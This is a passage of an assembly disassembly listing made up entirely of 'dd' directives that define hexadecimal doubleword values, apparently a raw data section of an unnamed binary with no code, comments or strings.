		dd 9A592E09h, 644460h, 0D45FE636h, 2251BB75h, 2C64BC02h
		dd 403AB859h, 0FCB8161h, 7F74A69Bh, 0A39C257Eh,	51508534h
		dd 5CE247B6h, 0BD073D5h, 8D0455DFh, 8EDB2585h, 0FF56CE80h
		dd 9D162386h, 0B664630Fh, 39819ED8h, 0A8A98DEh,	0BD39067h
		dd 0CD7F1859h, 7DEDE00Eh, 9F0926BDh, 0E1EE3C0Dh, 0FD544D8Eh
		dd 58990C82h, 39D4B578h, 694D00D6h, 0D8A93F25h,	4894CD76h
		dd 0FFF1FDCh, 0CC15348Fh, 0FC007AC5h, 75A107E7h, 15D4B06h
		dd 4D43BB4Fh, 6A9879B1h, 0A4008FB9h, 4C12631Eh,	0DE17A323h
		dd 1C0E2A6Dh, 9DEB9841h, 0B730761Dh, 2DCD074h, 39610A95h
		dd 1B60F257h, 76B7F8FEh, 0AB35D63Fh, 0E81B90A9h, 0A5BD9890h
		dd 6F0CD631h, 9047166Eh, 91DF90AEh, 0F326BEC2h,	0D5089C6Ah
		dd 0AFE98318h, 0DB8CFFF7h
		dd 5C66C06Bh, 7612372Dh, 8B2B1658h, 0F99AEFC1h,	1C6FFDC5h
		dd 58165081h, 1052264h,	0A3FDFCBEh, 0B804EB21h,	0F167A15h
		dd 0CAEA0C85h, 89B51C56h, 0F90CC420h, 819A1623h, 0D2C01AC8h
		dd 14A49333h, 0A66E016Ch, 3248910h, 505F5790h, 766D9F53h
		dd 6ADCBC6Fh, 0DED56Ah,	0D5FAC594h, 0F178A726h,	7648876Ch
		dd 69215041h, 11F73BFEh, 0E91F333Eh, 47912D13h,	0F139448Fh
		dd 0BD989E9Eh, 0BEA2B3B7h, 5C61F752h, 895C84F9h, 3C8DA9B5h
		dd 9DFA3696h, 0E2FC6BEAh, 8301DFFCh, 420D9DE9h,	0C4885794h
		dd 69242AADh, 0FA89F52Dh, 0B510FDECh, 0FF190C39h, 682934D3h
		dd 0E4354FDEh, 51EEA4BBh, 61541D00h, 89073F63h,	9E920BCCh
		dd 15F4FD7h, 0B4E9A554h, 0B4E7C968h, 4F9411F8h,	0B9EFC93Ch
		dd 10158C3Fh, 0F12095C1h, 499DF816h, 0C74D37A1h, 0B7F8A5BCh
		dd 0B501A705h, 0AFA73409h, 0F126293Eh, 0AEA4A7D0h, 0CF2B4F37h
		dd 14272C1h, 0D1F6E0BDh, 400911A1h, 6B1A74FBh, 631334E9h
		dd 372C4FEDh, 898D417Ch, 9BC6E2Dh, 0BB5ED1D4h, 9C1BD010h
		dd 98EC822h, 2431F7ADh,	13EF44F2h, 232E3E8Fh, 2F130118h
		dd 699B96CDh, 0ADE6D54Eh, 9C698ECh, 86FC0B0Eh, 0D413702h
		dd 12314DD1h, 4D69308Dh, 0CF5F9D8Bh, 92434070h,	0D40A035Bh
		dd 96E80A49h, 0B22E2A40h, 8B9C002Bh, 292DA2EBh,	3040B595h
		dd 0EBA6945Fh, 9C44DECDh, 174948Ch, 86703185h, 0C82ACB0Eh
		dd 0D00015B6h, 77219BD1h, 0BEF88B5Fh, 6F356BEBh, 0B1668E82h
		dd 938C60DCh, 3D9DB8E8h, 0E913F0F7h, 9E34252h, 28F8DD85h
		dd 15BBB070h, 0EB61CF79h, 73C1BC9h, 8144DAD7h, 0E919C6BDh
		dd 40EEAA80h, 971E4F7h,	24E8D71h, 7E8E521h, 804E8417h
		dd 0D57CAFFh, 195EFC2Dh, 5D100B68h, 53019F8Ch, 41937E7Bh
		dd 8BCC2C6Ch, 0CC7CB7C3h, 0E1DD48D6h, 0C448A713h, 8910E01Bh
		dd 46B98D2Ch, 0D58E2B96h, 20CE1988h, 53F8B7BCh,	699F9CE2h
		dd 5BD51C85h, 40A45683h, 60B08A95h, 0D71A0029h,	782B3EEBh
		dd 42161E35h, 0E1308E0Fh, 483006C5h, 1C12547Eh,	0E778D24h
		dd 0C0178884h, 92F5BA0Dh, 98B9D898h, 0E70EE0A0h, 16B08550h
		dd 0C1FEDAEFh, 6509D07Dh, 421DB02Fh, 0F248CC90h, 6BFF5A2Eh
		dd 0AAC400E7h, 0FE05BE1Dh, 3452C25h, 4C0A10E2h,	31B11080h
		dd 0BB763951h, 0BFDB2FE0h, 93F39D38h, 0FEC87609h, 0F51C0BB6h
		dd 5349B1E4h, 0B1A91492h, 0FF00E1B8h, 72970A7Bh, 0B71D0713h
		dd 0BC895Eh, 74F952E6h,	925E5F90h, 0F376B599h, 0E8AC00D6h
		dd 304E84E9h, 68491F32h, 0F05D46AFh, 263F27Eh, 6218CF86h
		dd 747074E4h, 15EAB55Bh, 734CA944h, 0C808E116h,	0D60481DFh
		dd 79DF73A5h, 0C680AF87h, 29384974h, 7147584Fh,	391C1818h
		dd 0D831029Dh, 6813DD82h, 0AEC0C87Fh, 1500DCCCh, 76EDBBA1h
		dd 995B3C88h, 91CE8047h, 1AC393E0h, 0D0AF0905h,	9AA2636Bh
		dd 0A06024h, 8B7CEED1h,	34ADD95h, 87C1CA93h, 0E324F6E0h
		dd 484A5A99h, 0E88C6A9Bh, 494713h, 3DDC8C2Ch, 554D1FFDh
		dd 72580E00h, 0AECD379Eh, 7F8516C2h, 0E67C855Fh, 0CDC4E1B4h
		dd 2E3CC4h, 0EDFDEB2Ch,	25B53378h, 6B620A5Ah, 1D911FEFh
		dd 0C72A6F80h, 563F3701h, 48F39686h, 11EB88h, 40E53698h
		dd 0EA9F4D99h, 9569DD0Bh, 0CDDA322Ah, 5286E017h, 5C017659h
		dd 0BF0F6A5Dh, 0A97A5BFAh, 0CDAC86h, 189EED73h,	0F259960Bh
		dd 41BF6617h, 0F589F31Ch, 0C33F2422h, 2AB88DBDh, 76388701h
		dd 8F0F926Dh, 625A1DB8h, 53DF2AA2h, 7F95D07Ch, 0BC9DFE04h
		dd 0C9F230E9h, 0A68CCF02h, 21EDC08Bh, 0A160A2E3h, 0FC7A8501h
		dd 0B583EB1h, 4A615AFCh, 80BB3785h, 0FB118D7Bh,	0F307511Ah
		dd 0B503EB87h, 0D5F62B69h, 0EF80AF44h, 854AC7F1h, 0D79BC5D3h
		dd 9EF65C55h, 0D65280E4h, 742DB7EBh, 2512F705h,	0E275F80Bh
		dd 119A1F64h, 63418118h, 0F9F14B5Fh, 0AEF5BD68h, 611AFFE1h
		dd 2C1871CBh, 80020B92h, 76532CB6h, 8EBFD1E6h, 27EDBD8Bh
		dd 962B620Ch, 3887A7DAh, 0A250E4DFh, 44F50197h,	0FEB8DD33h
		dd 14B90C0h, 0CB27A6F7h, 0CF26FB7Dh, 0CD85543Bh, 7C6B5F3Ch
		dd 8D001A23h, 49403592h, 0FDD1CEEh, 660A2287h, 0E6E9F08Bh
		dd 0D0DE1C40h, 77D817E0h, 985BDB90h, 5FB31C0h, 0ADB47C7Ah
		dd 694881B1h, 64E80234h, 58780075h, 2ED1ED2Ch, 6600D76Fh
		dd 0F84C81B8h, 0E87191BFh, 1FBA131h, 0AD82C917h, 6AD0D99Dh
		dd 17AB60FFh, 467608BEh, 0AD680315h, 0EDC5B501h, 0E6508DB4h
		dd 0C1764BFAh, 22E8FCACh, 1452001Ah, 0B0A3795h,	78EE4C18h
		dd 51328401h, 0ACD58531h, 0B7275345h, 0EE7B00FFh, 880236BFh
		dd 1E5E7998h, 637460AFh, 0C40B2046h, 1830E42Eh,	7FDD1Ah
		dd 0BA2F6A76h, 0F38E601Fh, 27AD3A01h, 2D958952h, 0BE7876C6h
		dd 1D5EAAh, 6827BD04h, 0FAC6FCCBh, 1AF84805h, 0B6EBD0B0h
		dd 7591B05Ah, 0BF600576h, 0B172E988h, 0AB6E2B06h, 0BBE30701h
		dd 78FB4977h, 8A620594h, 0A6EBC18Bh, 0AB39B04Eh, 952600A3h
		dd 5A887451h, 8F988987h, 292D1996h, 0D091D306h,	89132B95h
		dd 0C5888608h, 7B7300B3h, 0A1A0A75Eh, 33907ED8h, 315FAEA0h
		dd 60FCBFF8h, 0B74CCE2Fh, 0BEC11628h, 0A2AEC3D0h, 73D7B52h
		dd 5008639Ch, 0A0F2703Bh, 110BC202h, 66F9B2E2h,	6062A05Bh
		dd 48BEE8AAh, 834FFA90h, 89B8FB23h, 0A4FD5B5h, 4580A0DFh
		dd 66389710h, 2C140B09h, 0BDD628A9h, 18162908h,	2A3945Eh
		dd 0B10F125Bh, 3CC896ADh, 0F51B0CBFh, 51A067EBh, 0A4B0BAE3h
		dd 4A3DB737h, 0A5904727h, 3D9246Fh, 0C12D8E32h,	720AA217h
		dd 0D51B4EBEh, 0F1E60E34h, 0FFB486E0h, 5A9B540Bh, 19140208h
		dd 6B73FA03h, 6F4E0D25h, 233595h, 284D98CEh, 0B608A156h
		dd 16D55993h, 7668CDF6h, 69FFE03Fh, 0F2A0EE7h, 0FCC45236h
		dd 0F505A17Ch, 0F3A97AD3h, 0FAFB11ACh, 30D4FB40h, 0AE2DF431h
		dd 0AC6D61FBh, 96F2A29Ch, 0EAEB1309h, 6B410311h, 7C4F983h
		dd 0ADB2A56Ch, 0BD0B0C48h, 0B4205520h, 10F379A8h, 3098FBFh
		dd 9D8B6B45h, 3702133Dh, 779FD7E7h, 0A482D948h,	0BEC66088h
		dd 40008E2Fh, 0CB113DE8h, 5B79C1B7h, 778E4808h,	93907DADh
		dd 0E670BD83h, 8E4D125Bh, 6E2A1B31h, 9C250E60h,	2B54203Dh
		dd 0C02FF1B5h, 97D0E6BFh, 0E92D038Ah, 0BB69263h, 37B64A3Eh
		dd 0BF06B9E3h, 1736E957h, 600AF8B0h, 331D0733h,	0E86E154Eh
		dd 0B72709D2h, 9A0E8F7Dh, 8DBE4A53h, 400569D3h,	5AC8B3F7h
		dd 368B838Dh, 0AC641B5Dh, 2B78CCB3h, 605B0888h,	0C2800EE9h
		dd 324E9626h, 29D0005Dh, 0FCF7712Ah, 615B1A72h,	5BC7D923h
		dd 4C86E31h, 52DBE427h,	0D85D73C2h, 4B359FC8h, 409C1C91h
		dd 2B18BE99h, 0DA24E0C2h, 1760B79Eh, 13D63AB2h,	0A190D092h
		dd 0BA22D7BFh, 4B350014h, 15C6C11Ah, 4400FD20h,	6CAE8FFBh
		dd 8DB653h, 0F356EA1Eh,	50615E59h, 254F59B6h, 0CC804E46h
		dd 9BFD887h, 2A7A530Dh,	0DCEDCB8Bh, 0B3C16ACFh,	0C0581311h
		dd 74BC12C0h, 98172CF5h, 0A40E78Bh, 0F95F3907h,	6B6F6BE9h
		dd 79162E41h, 81520003h, 0D84BF8F7h, 0E65E1626h, 8C193170h
		dd 0FFF6C8FEh, 0D8D06600h, 0E40F5FC7h, 0DCFBB671h, 8576800Bh
		dd 0B5543EBh, 0CB88CFA4h, 0D3DF3642h, 279D78FEh, 52E40830h
		dd 7B1253C7h, 0DCEEB48Bh, 1A2B3004h, 0CFC24021h, 0EE53D202h
		dd 483343F5h, 2BF90BE3h, 709653D8h, 0FC0057B3h,	5F3AF5D2h
		dd 9993F28Bh, 0A19CB6h
		dd 63F38D1Dh, 6F021A51h, 205BF983h, 0CCFB9850h,	0E35A009Ch
		dd 1A962ADCh, 5054935Fh, 0FB254DFEh, 0AF74E75Eh, 1D91011Dh
		dd 968FF380h, 86055575h, 0E4CF8259h, 0D01A5C40h, 9A5FECh
		dd 84BB3DCh, 24AFDDA8h,	7BAD2D90h, 0BE9F06E0h, 998D17D8h
		dd 0C1BD0C71h, 7DF1E4D3h, 10EB899h, 47FCDA4Eh, 2A728BC5h
		dd 0DA919A16h, 0FC0401D8h, 8C14F8C4h, 0B1B4829Dh, 12200A2Fh
		dd 35C8C561h, 0B846BD77h, 0F40C13AEh, 0C597C454h, 98E857FCh
		dd 69239551h, 1816510Ch, 57971485h, 17B81F58h, 94760B8Ch
		dd 0B369897Bh, 0A81A0D2Dh, 0B3C43FCBh, 0AAA7DEBDh, 0FF912D76h
		dd 7241AB92h, 3F343F8Dh, 0BF0B7F6Bh, 0BC691162h, 371DA7CEh
		dd 2F4C03E1h, 31A2070Ch, 0A2561h, 58DD9D89h, 0D980D828h
		dd 0D521BBBFh, 0A9226F5Bh, 520C5465h, 46D65254h, 0E669121Ah
		dd 490AAA1Ch, 0B701A3AEh, 5B559412h, 922D6A97h,	2CE0C392h
		dd 0B5D233B9h, 625A0DE2h, 9201138h, 0C6250595h,	1732E922h
		dd 45BD2B0Bh, 1467D70Bh, 7A601BC4h, 373AD2D6h, 0A5EAB871h
		dd 11216057h, 565F5B94h, 0B4C91220h, 3F77B97Eh,	4D74726Bh
		dd 3DF1C085h, 0BD048FE0h, 0F99B531h, 8587B3A6h,	0A6120E55h
		dd 993F086h, 96770D6h, 0F92BE5A3h, 3117882h, 8D22BFD2h
		dd 8AB59D1Ch, 67871711h, 0A647D5D5h, 301CB2E4h,	0CEFA2A59h
		dd 0BCE59A05h, 0CB02F171h, 0D33718E6h, 0CB15A5D1h, 0BF831691h
		dd 0DEF0620Eh, 83043B78h, 91B50309h, 0CD904292h, 3F4E0F4h
		dd 6C1C1C7Fh, 0B2B03439h, 0EACEB1E7h, 21B82FBEh, 0B52E185Dh
		dd 0F0074175h, 5611F2BFh, 0AB000CE9h, 2DA4B251h, 0E702872Fh
		dd 0D978B68h, 0E0394D5Eh, 0D2F5FAE5h, 8A0FD40Ah, 0D8B421Eh
		dd 1C107B25h, 455D43D9h, 0CAD00967h, 26008DCEh,	0FBAD062Fh
		dd 97B6CF6h, 119D295Fh,	2C7B3BABh, 1EC08C71h, 49E012A7h
		dd 585DA44Eh, 0D9D98C4h, 0BD11D0E9h, 0FA8A0995h, 27F961h
		dd 0C3966507h, 0C800526Fh, 2F45D513h, 2479FFEFh, 86FCDEEh
		dd 9020D49h, 32DED9Dh, 63F50F53h, 9E455C5h, 71EB735Fh
		dd 452120DFh, 529C1841h, 0E90E20ADh, 2BFFF84Bh,	6613E152h
		dd 9048F4CCh, 1DB53153h, 7BC18BE9h, 1DAC0ABDh, 60E51600h
		dd 82B194D4h, 0BF045BEBh, 1623DC3Eh, 82D02538h,	0C0EE59Ah
		dd 3A9FF7BAh, 80FA35C1h, 0CA39EAE3h, 386037A3h,	0BD0BF656h
		dd 5021409Dh, 2D9D8291h, 6CD956C0h, 987CEE4h, 40B67C5Ch
		dd 29136CD0h, 0FCC8D1B5h, 699D7201h, 973D111Dh,	409C0F0Eh
		dd 4DAF5C08h, 0F41561E5h, 7A120C28h, 8A273101h,	96683C51h
		dd 1B66E5Ah, 3FE3ABF9h,	52217787h, 19FFB6B7h, 0B1311307h
		dd 0BB585AFEh, 28F3BFEDh, 0A7BDC951h, 0F9195E7Ah, 1816D94Eh
		dd 19EC352Ah, 0E5EFA63Ch, 0BFB04EF8h, 1A2D5161h, 3CA1873h
		dd 49F95FBDh, 4156B5F6h, 0B5AEBAA7h, 0E58F8026h, 0C6FB5D5Fh
		dd 0DFBF3F1Ch, 0FF30AD80h, 2F9589D3h, 0C681E3Dh, 6F2D60DBh
		dd 0F2911A5Ah, 0CE6C4FC7h, 0FB322A2Ah, 8529530Bh, 5E992541h
		dd 22C687A3h, 835B0D01h, 0A2EF21EEh, 716930EDh,	11F7314Ah
		dd 1AB17CA0h, 826CCF04h, 91B2DA64h, 5C951300h, 78CE5AAh
		dd 8ED0CC02h, 0D14AF0E3h, 0F702BBBBh, 70D8D4CEh, 9945AFD2h
		dd 1034EFF8h, 106271C3h, 11C80A93h, 0ED79DFA0h,	1E45E981h
		dd 2C5D6181h, 1A938405h, 0FBFD761Eh, 0D6A97865h, 1F7DC700h
		dd 128186CDh, 0F1D8A032h, 45851989h, 0C256871Bh, 7854DBF7h
		dd 605F62DCh, 559EE88h,	0DD38F480h, 7F64FCBFh, 0D3585298h
		dd 61897018h, 847593C6h, 8D029EF7h, 0C2D86569h,	31B8FB60h
		dd 96A5BD2Ch, 9DCF5F9Fh, 0D2A95271h, 81FA8BC5h,	684F130Eh
		dd 9AC24FB6h, 0CB627E35h, 0BCD3DFA9h, 2EC5670h,	0BD3336A5h
		dd 0FE531E45h, 7502BBACh, 5D09C43Eh, 1A910D1Fh,	7F3A1580h
		dd 0F61C66CDh, 50526021h, 0DDBD730Bh, 8B6178C0h, 17E9DE58h
		dd 0DBBE0490h, 3638C529h, 94AE7ACh, 0F1FBB031h,	0FA37E278h
		dd 19480151h, 0E65F500Bh, 0B82D2D70h, 3D50009Ah, 319BC149h
		dd 8D2C098Eh, 8444A881h, 61BF3EE4h, 0E41A3223h,	556E2F71h
		dd 0CE39F600h, 102D1742h, 89D44F02h, 2428A99Dh,	0F0D9E6B6h
		dd 0A07085CDh, 9E2D35AFh, 0C363CF37h, 73F8C781h, 189E6FCBh
		dd 1F78BD23h, 83E70448h, 94C8D7B1h, 763DE1F6h, 22B8E0C7h
		dd 159106DDh, 50DBF451h, 37D82B2Fh, 831B1FA4h, 60E33005h
		dd 0DCB8F204h, 5AA04508h, 6144137Eh, 8D170A93h,	199960ECh
		dd 8B0B1BE8h, 245061D0h, 39CC9339h, 1785006Ah, 0BDC4C506h
		dd 98B0F167h, 96970DFEh, 34B5BD88h, 82CA8009h, 5E3125DCh
		dd 0B75E5A6Fh, 642E48D4h, 0E1A2911h, 12B0F0B7h,	7A8E5E9Bh
		dd 0C52A2560h, 0A7482330h, 9C044AB7h, 88848F46h, 18232C2Eh
		dd 8AE70901h, 0BA424B6Ah, 27C4D2F8h, 0CCCF025Ch, 670EAA40h
		dd 0EC770988h, 0E5640D4h, 46742EEAh, 9573001Bh,	0A3FCD63Ch
		dd 0AB2D48C1h, 71B52904h, 11EAF40Fh, 0B1F18A9Dh, 62B5FDADh
		dd 0B172FD85h, 56F090C1h, 885AE926h, 13466142h,	0DD301BA2h
		dd 527802B2h, 0C4F982ABh, 157B54E6h, 0EF60C60Eh, 2A680166h
		dd 22ECB84Ah, 0FBB55F89h, 1588107h, 7E1DAD72h, 358064A8h
		dd 0A3A8C5BDh, 5501F500h, 0EE8DBEAh, 336695B5h,	950C8A22h
		dd 811F30E6h, 2BC227D7h, 0DCC18303h, 9950600Ah,	8901B17Dh
		dd 0FC86FE46h, 0EC69F273h, 0F9AD2A32h, 819CC1D0h, 6CCA00DCh
		dd 780AF2EFh, 2B4A5B7Ah, 0F88BF4A2h, 1AD6DD32h,	37BC02DCh
		dd 0D5BFE32Bh, 4FCB74D8h, 0C09DED5Bh, 67F41DB1h, 0B3932B76h
		dd 0E4D68E78h, 80CD0BC9h, 0A6C17D8h, 730A5B69h,	0A283782Ah
		dd 3B8D5507h, 809B9958h, 0E95EF9EFh, 0F1E2934Fh, 0C731FDE8h
		dd 370CBFF0h, 0E6D1A5A1h, 0AADF8100h, 1B6F3E80h, 0CA37C027h
		dd 0E2D7FB05h, 6F2D48B5h, 0C0123AB8h, 55056CB6h, 0CBEC491Fh
		dd 540A0914h, 0C00B4B01h, 2E85C76Eh, 0E97D1141h, 5C5A5254h
		dd 73F678C1h, 0D56A8B60h, 9D3B6828h, 44618130h,	29CC28Ah
		dd 56928229h, 0E488D95Fh, 0ECBCB938h, 36DD08B9h, 0D7800BE9h
		dd 0C23DCB67h, 0D13705B2h, 0B3365DD0h, 0BE660586h, 0C7990C15h
		dd 0ED10360h, 62A280ABh, 0BD9589E2h, 0FC386D70h, 0A4B5D861h
		dd 0EB00D76Bh, 0F1635387h, 6A12E418h, 0F26F9045h, 71BFDF01h
		dd 685C7D72h, 81EA809Fh, 670028Eh, 3B483341h, 893D4E75h
		dd 98CF2CF0h, 91929927h, 6587C517h, 50B6EAD6h, 0BD0BADB0h
		dd 0D9CC498h, 60F2D8Ah,	270CD908h, 510022E4h, 0DD8AA06Ah
		dd 0BEA572C9h, 5DF70CD4h, 13506930h, 2241191Eh,	2979CA01h
		dd 2F450C41h, 1FC2A4Ch,	7F55846Eh, 348A6BEh, 292288CEh
		dd 9D92295h, 9D01BD30h,	13ECF681h, 966B0D8h, 1BFB12C5h
		dd 55D1980h, 0E113C51Fh, 3041E48Ch, 0E15E8591h,	8BDBB612h
		dd 37518797h, 9CBB40B5h, 0E927E7FBh, 14FCC3A0h,	0A21AB9E4h
		dd 601732C8h, 0C3EDDABFh, 9078F846h, 328909AAh,	0B9C991BDh
		dd 66E55870h, 5BD8F06Dh, 0B807BF1h, 5493E39Fh, 47EE87Fh
		dd 557800CBh, 34E5628Bh, 12005AC5h, 5EFECEFDh, 0BED79CCh
		dd 658D213Ch, 2EBF18A0h, 57658F46h, 0B0419D16h,	0D6D1B866h
		dd 1EC3C31h, 61CB8B22h,	161F57CDh, 197D0CC9h, 0E1508313h
		dd 355F85F7h, 0C87AFEh,	5E4AC833h, 13B1D760h, 44490F63h
		dd 161D4D83h, 35026C0Ch, 9A5E6851h, 850ABB61h, 694A03BDh
		dd 0D7CC9254h, 0BE600261h
		dd 6FFE5065h, 0D1F7CFBAh, 9B02F858h, 5D2D7F90h,	2FD9208h
		dd 212D05AEh, 0ADB1E5BBh, 0DB776A14h, 3074719Bh, 0D068BFAEh
		dd 1B2C30FAh, 1DF7E0DEh, 0CAF87BC5h, 6E9A91ABh,	45D0DC53h
		dd 89F8AD01h, 4EED632Fh, 82B50171h, 0E86FFDCEh,	249E7F21h
		dd 1D28E31Eh, 591A3E9h,	0A3B5624h, 25DD58DAh, 2A0048B7h
		dd 34C72722h, 75E40080h, 0D05ECA81h, 5EDF67ECh,	0B5E90464h
		dd 0FEA18194h, 1308E94Fh, 0CBB6B0EAh, 90EE14F2h, 944AFF09h
		dd 0D223EF89h, 1E1A846Dh, 7C9020C4h, 821F5520h,	5B1B09B3h
		dd 57C470DBh, 58F370C5h, 8428AE33h, 0BDA010B7h,	5BFEAE17h
		dd 0A9D94D09h, 0BA2083E2h, 64B041B3h, 2846E7Bh,	6ED4A2D0h
		dd 0A0905CCCh, 0C312494h, 8D2978EDh, 2730F121h,	0F894C871h
		dd 65E6D7EBh, 0EB3EABE0h, 2140409Eh, 0FAEDF65Ah, 0A12C14CCh
		dd 0F110DDACh, 0BA66021Ch, 81502252h, 5A376A88h, 31712089h
		dd 1F4925Ch, 90B1D280h,	23DD952Bh, 0FD776B0Ch, 0DDC0E0EDh
		dd 2766A7F4h, 0C39827C8h, 2D1439BAh, 0C9B6226Eh, 0EDBF38h
		dd 53DABFA2h, 5D0233C4h, 0F365167h, 0A6747286h,	0B119499Ah
		dd 0B6D80A79h, 679E8B74h, 5B8A6B09h, 9974E903h,	847836ABh
		dd 3AFB27F1h, 3124D971h, 1AF43727h, 650BD42Dh, 5B56FA30h
		dd 0D58AB801h, 85C72A09h, 0DBD6D329h, 94794C7h,	71E99D29h
		dd 61DE098Bh, 7AC09F4Dh, 527BB33h, 0EBB3FC46h, 0A5BE814Ah
		dd 7830703h, 0BC6C7061h, 0C09F6A7h, 37C93A87h, 0EB318EC7h
		dd 0FA8BF505h, 0C1D81CE5h, 0C8755FE9h, 0D8278CE8h, 19FD0BA8h
		dd 0A97E014Ah, 6F748295h, 0BA022911h, 0FE200779h, 5D0CEFC1h
		dd 2037B268h, 570223B0h, 12540DD2h, 3495FF0Dh, 0FAB3652Fh
		dd 0DF0401A6h, 5A9C530h, 3F380C3Dh, 0E42F9E9h, 5055E89Dh
		dd 57CC66Ah, 12806E56h,	0C132C361h, 202978E0h, 7EDA45EDh
		dd 0E1014AE1h, 0B343CE9h, 16E100D8h, 0FABBB752h, 0A0009B36h
		dd 847E19DDh, 60FBBFh, 0B0DB9F68h, 10D9D134h, 0B8B14C00h
		dd 94922DF1h, 781300D7h, 0ACF8BC7Bh, 0F93C20E1h, 595D00AAh
		dd 0B9B642F0h, 3DE01FAh, 220F190Bh, 8794FC1Bh, 385C2C00h
		dd 76F1B2BCh, 9C3700FBh, 0E9C4E09Fh, 0E0009ECh,	0FD782F4Bh
		dd 0A06E1h, 58522D49h, 0A09C7793h, 4740DF00h, 2CAE6480h
		dd 5EB83EDBh, 7044B00h,	0E9AA7948h, 690082FAh, 1114455Bh
		dd 0FFB8B20h, 297EF9C0h, 0BFFA9E80h, 401CB22h, 0D89A10A4h
		dd 97F462A6h, 2CC7001Ch, 3A2712Eh, 0F23E4706h, 0DC990032h
		dd 0FCECE5C0h, 789A0067h, 0D613B780h, 0EE00E779h, 0D9540B27h
		dd 0E6425Eh, 9290D728h,	797611D5h, 263B9100h, 419C0C47h
		dd 0ADAA0CC6h, 8BA4AB6Fh, 4E7CCD00h, 0AFF630A9h, 395F4C7Dh
		dd 0A3B78687h, 2A1FB093h, 0C480B42Fh, 0EFEC08C7h, 0CC19C0AAh
		dd 7746BD0Eh, 1553B637h, 27D074F0h, 0D13300CEh,	2FB106A2h
		dd 64C029C8h, 1C6C05Fh,	0D92E16E5h, 9FAF200Dh, 0F900BAB6h
		dd 450602DDh, 7F1E29h, 0CE69BE87h, 5DF30FD4h, 0B5AF4E07h
		dd 9480D0CCh, 70C13Fh, 0A86C2D29h, 8D51100Dh, 0BEB61F00h
		dd 2FED9F5h, 30250041h,	221A61B2h, 0FA1D9559h, 47823EFDh
		dd 486D894Ch, 0E0BB2Ah,	0A90521E6h, 56539AEBh, 0C47B9700h
		dd 8BDC9E49h, 4AAA2A5Dh, 0E0DE0394h, 0AB02CE23h, 7794C130h
		dd 2B85726h, 29E0FCBBh,	8BA02168h, 0F611D2A1h, 0CF4A0FC0h
		dd 0E7FF54h, 80413DDCh,	0D295902Bh, 7334030Ch, 3AC2914h
		dd 39CF8D31h, 13F8DEDBh, 0CB00A6BEh, 16F10DD0h,	3F5B18h
		dd 2F7BCC4Ah, 0F95A4C4Eh, 0B32EE80Fh, 0ADAB8059h, 0C1D9BF0h
		dd 0C48D85CCh, 223365A2h, 9E60D8h, 7B730EC6h, 0C1BB96B2h
		dd 892DFC00h, 7C251019h, 5CB100A5h, 0AD6C6944h,	0B800B691h
		dd 0A729DFFBh, 120F56h,	5803753h, 1947985Ah, 9325EE28h
		dd 8E39382Ah, 70C9CA53h, 61241F00h, 0F7138E45h,	6EBF3A41h
		dd 9D5A5800h, 0DA75CA81h, 5519E207h, 0EA2086E7h, 53BD62Bh
		dd 65627E3Fh, 438E4027h, 0F1063485h, 35704B62h,	38C72601h
		dd 0C28ED0Eh, 6A650055h, 0C0779253h, 0D550CB3Bh, 0F09AEB9h
		dd 355114h, 0D2918ECFh,	0EA5A49B6h, 82460900h, 7D4C75C3h
		dd 0B4B0BC06h, 163D6177h, 22E1DEh, 3807C6ADh, 0DB079E99h
		dd 9BB308BFh, 984B7960h, 0A42614A2h, 3F13F353h,	95610E82h
		dd 2146C186h, 47FFA01h,	62A56635h, 15D61586h, 4E000DF2h
		dd 3C910CD3h, 0E4E17Ch,	312E0925h, 0B04A372h, 0D7EF4400h
		dd 0CC1364E2h, 0FBBC18CFh, 0B9343D9Ch, 0F87A3E00h, 0B60450FFh
		dd 93365527h, 6A692F4h,	318B4C1Bh, 0EF1FDAE2h, 0F3035550h
		dd 0C81834F9h, 0FBFCAE6h, 49652220h, 0A5A23DA3h, 730F89DFh
		dd 8A3F8A0h, 30004C0Bh,	7D995855h, 188FA8A2h, 867E4BCEh
		dd 11008C07h, 5A211AF5h, 24E23Eh, 79F7B0D3h, 1812B128h
		dd 82A02292h, 100CD493h, 0B27E698Eh, 806070BDh,	5E004EF2h
		dd 87036A76h, 475E338h,	4918A992h, 0DBB49188h, 0CEDC30D9h
		dd 7820FC0h, 0F64BEFB2h, 167E47h, 0A3A03FD3h, 9611C8E4h
		dd 1A7D7A0Ch, 0ED2EE2h,	88B31E6Fh, 0FC9B6A39h, 7C3D020Ch
		dd 0B8B5211Dh, 591A18EFh, 0B25B121Eh, 99683704h, 394DB1D8h
		dd 252B8B32h, 0F5A213DBh, 0B0D9B831h, 809C1700h, 0E9A8A500h
		dd 0CE8D8A25h, 55B514B2h, 40009D4Eh, 29266DBEh,	87004C46h
		dd 7539B46Bh, 3F82B6h, 3478AF70h, 7DF8988Ah, 89866100h
		dd 9452AECAh, 28CC0743h, 0A08B15AAh, 0A8B6254Fh, 0E4880307h
		dd 2DF04297h, 5C56722Fh, 0AD00CF9Fh, 632621C0h,	716067A2h
		dd 27430A2Fh, 4DA97570h, 85005B11h, 0A40B55C4h,	0C3E40D92h
		dd 68272409h, 1964834Ch, 0C283ED17h, 0AE6EE83Eh, 4826B140h
		dd 1B889F3h, 26EFD400h,	9BE612D1h, 59FDCC00h, 6B259019h
		dd 4BA00034h, 7B791B8Eh, 5C05D761h, 0A9686540h,	8A80C41Fh
		dd 0A287290Fh, 34C1B0C3h, 0C21151B8h, 899021F1h, 0DC00FFA3h
		dd 17C7E85Dh, 3DEAA7FCh, 2D009DE1h, 0F43B8C4Eh,	743D38F7h
		dd 11D00D9h, 4B672C26h,	45E400EFh, 0F0EA8948h, 58260F2Bh
		dd 0ED1E3D03h, 0D26D3100h, 90FA16D5h, 0E6950033h, 0CC90BBA1h
		dd 38F40BD4h, 1E68BD12h, 33AC4E90h, 0BFB60781h,	0BFDD8F4h
		dd 4C4A5100h, 983D738Fh, 0E1BC809Fh, 290420E9h,	71ADA031h
		dd 5DD09A77h, 698F4FC0h, 52626DFEh, 520E075Fh, 0C281E241h
		dd 94835D3Bh, 870606EAh, 2D5C2414h, 4C026819h, 50F00C3Dh
		dd 17B00B8h, 592D113Eh,	0B7E2BE7h, 48BC302h, 0A4C48124h
		dd 8923EC2Bh, 24D01EF6h, 4E59340Ah, 0E0161A4h, 0DD8955C8h
		dd 585D2841h, 56729E8Bh, 0C681E685h, 19062C51h,	8BAE3487h
		dd 0E7895700h, 10C78128h, 870C8363h, 0E926003Ch, 0FFFC5F4Dh
		dd 0CF00B9A6h, 3405B095h, 5E8EA5h, 1EC9B8DCh, 0C5030612h
		dd 0DFE0FF00h, 40726CAAh, 23901E36h, 66CC0153h,	0F43D580Ah
